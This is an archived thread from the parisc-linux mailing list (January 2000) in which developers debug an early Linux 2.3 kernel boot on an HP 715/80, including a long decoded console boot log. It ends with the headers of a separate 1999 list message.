> My guess would be that something goes wrong near lines:
> 	do_mmap c7efc0e0 00001000 0003f000 00000005 00001806 00000000
> 	miscoloured mmap
> or
> 	mem_map disagrees with c122b77c at 2001f000

no problem, i get those too.

> Also I wonder why it doesn't recognice the Model/CPU-type? Even the size
> of memory is incorrent (256). MHz figure is ok.
> 	model   00006190 00000481 00000000 00000000 7804f0a4 00000000 
> 00000004 00000072 00000072
> 	vers    0000000b
> 	CPUID vers 0 rev 0
> 	Model: <NULL> with 128 MB RAM.
> 	CPU(s): 1 x <unknown> at 80.000000 MHz

That code's just been commented out for the moment.  Something else for
the todo list.

[...]

> DQ0KDQ0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
> LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0NCkJvb3RS
> b20gVmVyc2lvbiAgICAxLjQgIA0NCk1lbW9yeSBTaXplOiAgMjU2IE1CDQ0K

many many lines like this which I can't decode.  It's tagged as text/plain;
should it be mime or something?


From - Thu Nov 08 21:11:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 problem
Date: Tue, 25 Jan 2000 20:37:10 +0200 (EET)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0001252026280.15648-100000@gamgee.ntc.nokia.com>
References: <20000125142243.B32390@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416618743 29814 80.91.229.3 (22 Nov 2014 01:12:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "willy@thepuffingroup.com" <willy@thepuffingroup.com>
Original-X-From: martikka@stybba.ntc.nokia.com  Tue Jan 25 12:36:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA16515
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 12:36:23 -0700
Original-Received: (qmail 24293 invoked by uid 15267); 25 Jan 2000 18:37:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24273 invoked from network); 25 Jan 2000 18:37:14 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2000 18:37:14 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.9.3/8.9.3/o) with ESMTP id UAA16781;
	Tue, 25 Jan 2000 20:37:12 +0200 (EET)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id UAA20240;
	Tue, 25 Jan 2000 20:37:11 +0200 (EET)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id UAA27472;
	Tue, 25 Jan 2000 20:37:11 +0200 (EET)
In-Reply-To: <20000125142243.B32390@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6742

On Tue, 25 Jan 2000, willy@thepuffingroup.com wrote:

> On Tue, Jan 25, 2000 at 07:38:01PM +0200, Hannu Martikka wrote:
> > I tried the linux-2.3 latest kernel (ramdisk.bin-20000118a) from CVS with
> > 715/80. I didn't get shell prompt. It seems to end up with somekind of
> > endless loop.
> 
> The endless loop isn't a problem; that's `debugging the switch_to' code.
> prumpf, can we get rid of this now or is it still important?  I _think_
> you'll find you are actually at a prompt, it's just not obvious because
> of the messages.
Hmmm... It definetly was not obvious :)
At least I'm not able to write anything (no echo) that would cause
any response from system (except those same debug messages over and over
again).


> [...]
> 
> > DQ0KDQ0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
> > LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0NCkJvb3RS
> > b20gVmVyc2lvbiAgICAxLjQgIA0NCk1lbW9yeSBTaXplOiAgMjU2IE1CDQ0K
> 
> many many lines like this which I can't decode.  It's tagged as text/plain;
> should it be mime or something?
Sigh... Some over-eager sendmail managed to add extra headers to my email
:(
Just edit the email and remove extra 
	Content-Transfer-Encoding: 8bit
from the headers of the attachements.
I could repost it if you cannot open it.

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,



From - Thu Nov 08 21:11:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ross J. Reedstrom" <reedstrm@wallace.ece.rice.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 problem
Date: Tue, 25 Jan 2000 12:41:56 -0600
Lines: 630
Approved: news@gmane.org
Message-ID: <20000125124156.G423@rice.edu>
References: <Pine.LNX.4.10.10001241636160.3967-100000@grasshopper.thepuffingroup.com> <Pine.HPX.4.21.0001251927060.15648-200000@gamgee.ntc.nokia.com> <20000125142243.B32390@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618743 29816 80.91.229.3 (22 Nov 2014 01:12:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: reedstrm@wallace.ece.rice.edu  Tue Jan 25 12:41:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA16743
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 12:41:05 -0700
Original-Received: (qmail 27711 invoked by uid 15267); 25 Jan 2000 18:41:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27693 invoked from network); 25 Jan 2000 18:41:57 -0000
Original-Received: from wallace.ece.rice.edu (root@128.42.12.154)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2000 18:41:57 -0000
Original-Received: by wallace.ece.rice.edu
	via sendmail from stdin
	id <m12DAua-000LEMC@wallace.ece.rice.edu> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Tue, 25 Jan 2000 12:41:56 -0600 (CST) 
User-Agent: Mutt/1.0i
In-Reply-To: <20000125142243.B32390@thepuffingroup.com>; from willy@thepuffingroup.com on Tue, Jan 25, 2000 at 02:22:43PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6743

Looks like it is mime: quoting from the raw message dump:

Content-Type: TEXT/plain; name="hpcapture3.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.HPX.4.21.0001251938010.15648@gamgee.ntc.nokia.com>
Content-Description: 
Content-Disposition: attachment; filename="hpcapture3.txt"
Content-Transfer-Encoding: 8bit

so, it's a BASE64 encoded text, as I guessed. Since the decoded file is
smaller than the encoded one, which is already on the list, I'll include it
here for your edification:

--------------------8<--------cut here--------------8<----------------------

----------------------------------------------------------------------------
BootRom Version    1.4  
Memory Size:  256 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.

Starting Auto boot


Loading Initial Program Loader


IPL successfully loaded


Booting

ISL Revision A.00.38  OCT 26, 1994 

ISL booting  hpux

Boot
: disk(2/0/1.6.0.0.0.0.0;0)/stand/vmunix


----------------------------------------------------------------------------
BootRom Version    1.4  
Memory Size:  256 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.

Starting Auto boot

----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo lan




Attempting to boot.

Loading Initial Program Loader


IPL successfully loaded


Booting

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Tue Jan 25 17:24:05 EET 2000 by root@specter

Official memory starts at 00008000
Reading parameters...done.

Loading PA-RISC/Linux Kernel...
SOM-Kernel:
aux_header_location: 00000080
som       : 01000080
exec_dfile: 00108000
exec_dsize: 000BC000
exec_dmem : C01C5000
exec_tfile: 00043000
exec_tsize: 000C4008
exec_tmem : C0100000
exec_bsize: 00060B10
exec_entry: C0100000
Code at 0x00100000, size=0x000C4008
Data at 0x001C5000, size=0x000BC000
BSS  at 0x00281000.
exec_entry: C0100000

Transferring control to kernel. (At entry point 0x00100000)
!.iodc_con_init
Console: switching to IODC console
The Kernel has started...
Free memory starts at: 0xc02e1af0
FP CCR was 0x0, will be set to 0xc0
model   00006190 00000481 00000000 00000000 7804f0a4 00000000 00000004 00000072 00000072
vers    0000000b
CPUID vers 0 rev 0
Model: <NULL> with 128 MB RAM.
CPU(s): 1 x <unknown> at 80.000000 MHz
Searching for devices in PDC firmware...  an older box...
Found devices:
1. Mirage 80 GSC Builtin Graphics (10) at 0xf8000000, versions 0x10, 0x0, 0x85, 0x0, 0x0
2. Mirage 80 Core BA (11) at 0xf0100000, versions 0x2b, 0x0, 0x81, 0x0, 0x0
3. Mirage 80 Core SCSI (10) at 0xf0106000, versions 0x2b, 0x0, 0x82, 0x0, 0x0
4. Mirage 80 Core LAN (802.3) (10) at 0xf0107000, versions 0x2b, 0x0, 0x8a, 0x0, 0x0
5. Mirage 80 Core RS-232 (10) at 0xf0105000, versions 0x2b, 0x0, 0x8c, 0x0, 0x0
6. Mirage 80 Core Centronics (10) at 0xf0102000, versions 0x2b, 0x0, 0x74, 0x0, 0x0
7. Mirage 80 Audio (10) at 0xf0104000, versions 0x2b, 0x0, 0x7b, 0x0, 0x0
8. Mirage 80 Core PC Floppy (10) at 0xf010a000, versions 0x2b, 0x0, 0x83, 0x0, 0x0
9. Mirage 80 Core PC Keyboard (10) at 0xf0108000, versions 0x2b, 0x0, 0x84, 0x0, 0x0
10. Mirage 80 Core PC Keyboard (10) at 0xf0108100, versions 0x2b, 0x0, 0x84, 0x0, 0x0
11. Unknown device (11) at 0xf0200000, versions 0x10, 0x0, 0x8e, 0x0, 0x0
12. Pace Core HIL (10) at 0xf0201000, versions 0x10, 0x0, 0x73, 0x0, 0x0
13. Mirage 80 Wax RS-232 (10) at 0xf0202000, versions 0x10, 0x0, 0x8c, 0x0, 0x0
14. Mirage 80  (0) at 0xfffbe000, versions 0x619, 0x0, 0x4, 0x0, 0x81
15. Mirage 80 (1) at 0xfffbf000, versions 0x4f, 0x0, 0x9, 0x0, 0x0
That's a total of 15 devices.
Linux version 2.3.29 (root@specter) (gcc version 2.95.1 19990816 (release)) #2 Tue Jan 25 17:14:23 EET 2000
init_bootmem 738 32768
free_bootmem 002e2af0 07d1d510
d_conf 61402000
initrd: c01cb000-c026d800
command_line: /stand/vmlinux HOME=/ TERM=LINUX console=tty

pagetable_init
totalpages: 00008000
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
#Console: mono IODC console 80x34
iodc_con_initConsole: switching to IODC consoleThe Kernel has started...Free memory starts at: 0xc02e1af0FP CCR was 0x0, will be set to 0xc0model   00006190 00000481 00000000 00000000 7804f0a4 00000000 00000004 00000072 00000072vers    0000000bCPUID vers 0 rev 0Model: <NULL> with 128 MB RAM.CPU(s): 1 x <unknown> at 80.000000 MHzSearching for devices in PDC firmware...  an older box...Found devices:1. Mirage 80 GSC Builtin Graphics (10) at 0xf8000000, versions 0x10, 0x0, 0x85, 0x0, 0x02. Mirage 80 Core BA (11) at 0xf0100000, versions 0x2b, 0x0, 0x81, 0x0, 0x03. Mirage 80 Core SCSI (10) at 0xf0106000, versions 0x2b, 0x0, 0x82, 0x0, 0x04. Mirage 80 Core LAN (802.3) (10) at 0xf0107000, versions 0x2b, 0x0, 0x8a, 0x0, 0x05. Mirage 80 Core RS-232 (10) at 0xf0105000, versions 0x2b, 0x0, 0x8c, 0x0,
  0x06. Mirage 80 Core Centronics (10) at 0xf0102000, versions 0x2b, 0x0, 0x74, 0x0, 0x07. Mirage 80 Audio (10) at 0xf0104000, versions 0x2b, 0x0, 0x7b, 0x0, 0x08. Mirage 80 Core PC Floppy (10) at 0xf010a000, versions 0x2b, 0x0, 0x83, 0x0, 0x09. Mirage 80 Core PC Keyboard (10) at 0xf0108000, versions 0x2b, 0x0, 0x84, 0x0, 0x010. Mirage 80 Core PC Keyboard (10) at 0xf0108100, versions 0x2b, 0x0, 0x84, 0x0, 0x011. Unknown device (11) at 0xf0200000, versions 0x10, 0x0, 0x8e, 0x0, 0x012. Pace Core HIL (10) at 0xf0201000, versions 0x10, 0x0, 0x73, 0x0, 0x013. Mirage 80 Wax RS-232 (10) at 0xf0202000, versions 0x10, 0x0, 0x8c, 0x0, 0x014. Mirage 80  (0) at 0xfffbe000, versions 0x619, 0x0, 0x4, 0x0, 0x8115. Mirage 80 (1) at 0xfffbf000, versions 0x4f, 0x0, 0x9, 0x0, 0x0
That's a total of 15 devices.
Linux version 2.3.29 (root@specter) (gcc version 2.95.1 19990816 (release)) #2 T
ue Jan 25 17:14:23 EET 2000
init_bootmem 738 32768
free_bootmem 002e2af0 07d1d510
d_conf 61402000
initrd: c01cb000-c026d800
command_line: /stand/vmlinux HOME=/ TERM=LINUX console=tty

pagetable_init
totalpages: 00008000
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Console: mono IODC console 80x34
register_console
Calibrating delay loop... 77.99 BogoMIPS
max_low_pfn 32768
Memory: 125740k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c7ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c7ffe004, name=test-cachep)
kmem_test() - finished
c7ff0000 c7ff8000 c7fee000 c7ffc000
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
switch_to c01c6000 c7fe8000
Lasi version 0 at 0xf0100000 found.
request_irq(2, c01b9350, 0x0, lasi, c7feb060)
enable_irq(0 + 2) called but no support
Lasi IRQ 2 EIM 0xfffe0002<4>
lasi_alloc_irq(0xf0105000) 0x100 + 26 = 282
Found LASI serial #0 at 0xf0105000, IRQ 282
ttyS00 at iomem 0xf0105800 (irq = 282) is a 16550A
lasi_alloc_irq(0xc02db060): No known LASI owns device at 0xf0202000
IRQ not found for lasi serial at 0xf0202000
Warning : device (10, 0x10, 0x0, 0x8c, 0x0) NOT claimed by Lasi serial 712, 715 
or similiar
Initializing lasi keyboard port at 0xf0108000...
lasi_alloc_irq(0xf0108000) 0x100 + 5 = 261
request_irq(261, c01b8158, 0x0, GSC PS/2, f0108000)
lasi_enable_irq(c7feb060, 5) IMR 0x4000000 addr f0100004
do_irq_mask 20000000 c026e31c c7fe8740
do_irq_mask 04000000 c7fbe020 c7fe8740
Initializing lasi mouse port at 0xf0108100...
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
Serial driver version 4.91 (1999-11-17) with no serial options enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 650 blocks [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|done.
iodc_con_init
Console: switching to mono IODC console 80x34
VFS: Mounted root (ext2 filesystem).
tty_open
vt_console_device returning [0 0] (4 1) 0401
searching for 4/1
found 136/[0,256]
found 128/[0,256]
found 3/[0,256]
found 2/[0,256]
found 5/[64,4]
found 4/[64,4]
found 4/[0,1]
found 5/[2,1]
found 5/[1,1]
found 5/[0,1]
found 4/[1,63]
driver: -1070745744
retval 0
driver.open 0
execve /sbin/init c01ca008 c01ca030
do_execve
reading c014d2a8 c7fe8808 c7fe85c8 128
returned 128
02100108 05124000 00000000 00000000
00000000 00000000 000039c3 00000080
000000b4 00045535 40006d38 00000138
00000004 000001c8 00000013 000004fc
00000000 000004fc 000001e8 000004c0
00000003 000006e4 00000000 000006e4
00000000 000006e4 00000000 000006e4
00000000 00045000 00000535 4702100b
search_binary_handler
trying c016f4c0
load_som_binary
It seems to be a valid SOM executable
reading c014d2a8 c7fe8888 c7fb4140 180
returned 180
10000004 00000028 0003e044 00001000
00000000 00006000 40001000 0003f000
0000ef10 000039c0 00000000 00000000
8000000b 00000004 00000000 80000001
00000020 39323435 332d3037 42000000
31312e30 31000000 00000000 386001ae
00000000 80000001 00000020 39323435
332d3037 42000000 31312e30 34000000
do_mmap c7efc0e0 00001000 0003f000 00000005 00001806 00000000
miscoloured mmap
do_mmap c7efc0e0 40001000 00006000 00000007 00001806 0003f000
miscoloured mmap
do_mmap 00000000 40007000 0000f000 00000007 00000006 00000000
miscoloured mmap
bprm->p: 2001ffda
stack_base 20000000 fc000000
stack_base 20001000 fc000000
stack_base 20002000 fc000000
stack_base 20003000 fc000000
stack_base 20004000 fc000000
stack_base 20005000 fc000000
stack_base 20006000 fc000000
stack_base 20007000 fc000000
stack_base 20008000 fc000000
stack_base 20009000 fc000000
stack_base 2000a000 fc000000
stack_base 2000b000 fc000000
stack_base 2000c000 fc000000
stack_base 2000d000 fc000000
stack_base 2000e000 fc000000
stack_base 2000f000 fc000000
stack_base 20010000 fc000000
stack_base 20011000 fc000000
stack_base 20012000 fc000000
stack_base 20013000 fc000000
stack_base 20014000 fc000000
stack_base 20015000 fc000000
stack_base 20016000 fc000000
stack_base 20017000 fc000000
stack_base 20018000 fc000000
stack_base 20019000 fc000000
stack_base 2001a000 fc000000
stack_base 2001b000 fc000000
stack_base 2001c000 fc000000
stack_base 2001d000 fc000000
stack_base 2001e000 fc000000
stack_base 2001f000 c7eef000
mem_map disagrees with c122b77c at 2001f000
set_pte c7ef607c 07eef581
(start_brk) 40016000
(end_code) 00040000
(start_code) 00001000
(end_data) 40007000
(start_stack) 2001fff8
(brk) 40016000
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd00c 07ed3502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3004 07ec1513
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3018 07ec6513
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd010 07eb4513
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef6088 07eb2591
syscall 57 20022090 00000000 00000000 696e7578 = 0 (-> 0000431b)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd004 07ea1502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef6080 07eb0591
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3044 01001502
syscall 71 00000000 00000020 00000007 00000012do_mmap 00000000 00000000 00000020
 00000007 00000012 00000012
 = -22 (-> 0000485b)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3044 07e91513
syscall 68 ffffffea ffffffff 00000007 00000012 = -251 (-> 00004877)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef303c 0100f502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd03c 07ebf502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3054 01005502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3008 07ea2503
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0b8 07ebe502
syscall 224 0002e820 06211988 00000570 06211989 = -251 (-> 0000f293)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd058 07e96502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd06c 07eab502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd098 07e86502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3010 07e84503
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd05c 07ea7502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0ec 07e9b502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0d4 07e95502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef6084 07e51591
syscall 132 00002711 00000045 00000024 0000008b = 528 (-> 00026dbf)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd064 07ea9502
syscall 17 40015f18 00000000 40015f18 00000000 = 1073835800 (-> 0002ee37)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3054 07e85513
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd060 07ea8502
syscall 17 40017f0c ffffffff 00000001 00000000 = 1073843980 (-> 0002ee37)
syscall 17 40018000 00000000 00002000 00000000 = 1073844224 (-> 0002ee37)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef305c 07e97513
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd068 07eaa502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd070 07eac513
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0bc 07e8f513
syscall 54 00000000 40125401 20020578 40017f2d = 0 (-> 00016dbf)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd078 07e9e513
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd074 07ead513
syscall 54 00000001 40125401 200207b8 40004e24 = 0 (-> 00016dbf)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0a4 07e99502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef3034 07e9d513
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0a8 07e9a502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0b0 07e9c502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd080 07e80502
syscall 4 00000001 4000d000 00000020 0900deeeStand-alone shell (version 2.1)
 = 32 (-> 0002025f)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd07c 07e7f502
syscall 224 0002e820 06211988 00000570 00000000 = -251 (-> 0002ef0f)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0d8 07e76502
syscall 108 00000002 20020570 20020580 00000000 = -251 (-> 0002ef43)
syscall 108 00000003 20020570 20020580 00000000 = -251 (-> 0002ef43)
syscall 54 00000000 40125401 20022df8 00000000 = 0 (-> 00016dbf)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd018 07e56502
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd044 07e41502
syscall 4 00000001 40001768 00000002 0900deee>  = 2 (-> 0002025f)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7ef608c 07e83591
syscall 54 00000000 40125401 20023138 40004e20 = 0 (-> 00016dbf)
current = c7fe8000, mm = c7ef9040, mmap_sem = c7ef905c
set_pte c7efd0b4 07e8d502
syscall 3 00000000 40013000 00002000 0900deeedel_from_runqueue c7fe8000(1), 1
del_from_runqueue c7fe8000
switch_to c7fe8000 c7fb8000
del_from_runqueue c7fb8000(3), 3
del_from_runqueue c7fb8000
switch_to c7fb8000 c7fba000
bdflush


del_from_runqueue c7fba000(2), 2
del_from_runqueue c7fba000
switch_to c7fba000 c01c6000
switch_to c01c6000 c7fb8000
del_from_runqueue c7fb8000(3), 3
del_from_runqueue c7fb8000
switch_to c7fb8000 c01c6000
switch_to c01c6000 c7fba000
del_from_runqueue c7fba000(2), 2
del_from_runqueue c7fba000
switch_to c7fba000 c01c6000
switch_to c01c6000 c7fb8000
del_from_runqueue c7fb8000(3), 3
del_from_runqueue c7fb8000
switch_to c7fb8000 c01c6000
switch_to c01c6000 c7fba000
del_from_runqueue c7fba000(2), 2
del_from_runqueue c7fba000
switch_to c7fba000 c01c6000
switch_to c01c6000 c7fb8000
del_from_runqueue c7fb8000(3), 3
del_from_runqueue c7fb8000
switch_to c7fb8000 c01c6000
switch_to c01c6000 c7fba000
del_from_runqueue c7fba000(2), 2
del_from_runqueue c7fba000
switch_to c7fba000 c01c6000
switch_to c01c6000 c7fb8000
del_from_runqueue c7fb8000(3), 3
del_from_runqueue c7fb8000
switch_to c7fb8000 c01c6000
switch_to c01c6000 c7fba000
del_from_runqueue c7fba000(2), 2
del_from_runqueue c7fba000
switch_to c7fba000 c01c6000
switch_to c01c6000 c7fb8000
del_from_runqueue c7fb8000(3), 3
del_from_runqueue c7fb8000
switch_to c7fb8000 c01c6000
switch_to c01c6000 c7fba000
del_from_runqueue c7fba000(2), 2
del_from_runqueue c7fba000
switch_to c7fba000 c01c6000
switch_to c01c6000 c7fb8000
del_from_runqueue c7fb8000(3), 3
del_from_runqueue c7fb8000
switch_to c7fb8000 c01c6000
switch_to c01c6000 c7fba000
del_from_runqueue c7fba000(2), 2
del_from_runqueue c7fba000
switch_to c7fba000 c01c6000

X-From-Line: hppa-linux@thepuffingroup.com  Fri Mar 12 14:50:58 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA04768
	for <pcj@merlin.pcj.primenet.com>; Fri, 12 Mar 1999 14:50:58 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Fri, 12 Mar 1999 14:50:58 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id PAA05196
	for <pcj@smtp-local.primenet.com>; Fri, 12 Mar 1999 15:50:05 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id PAA29148
	for <pcj@primenet.com>; Fri, 12 Mar 1999 15:50:05 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd029052; Fri Mar 12 15:49:58 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id RAA30912;
	Fri, 12 Mar 1999 17:49:44 -0500
Resent-Date: Fri, 12 Mar 1999 17:49:44 -0500
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
X-Gnus-Mail-Source: directory:/home/pcj/incoming
Message-Id: <199903122249.OAA08358@milano.cup.hp.com>
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Boot #4 and source on ftp site 
In-reply-to: Your message of "Thu, 11 Mar 1999 16:35:15 PST."
             <199903112235.QAA05851@equator.com> 
Date: Fri, 12 Mar 1999 14:49:02 -0800
From: Grant Grundler <grundler@cup.hp.com>
Resent-Message-ID: <"vd8j7.0.rY7.8ePws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/182
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 5e4b38e9b60067462901ef2715081c0e
Lines: 98
Xref: merlin.pcj.primenet.com palinux:153

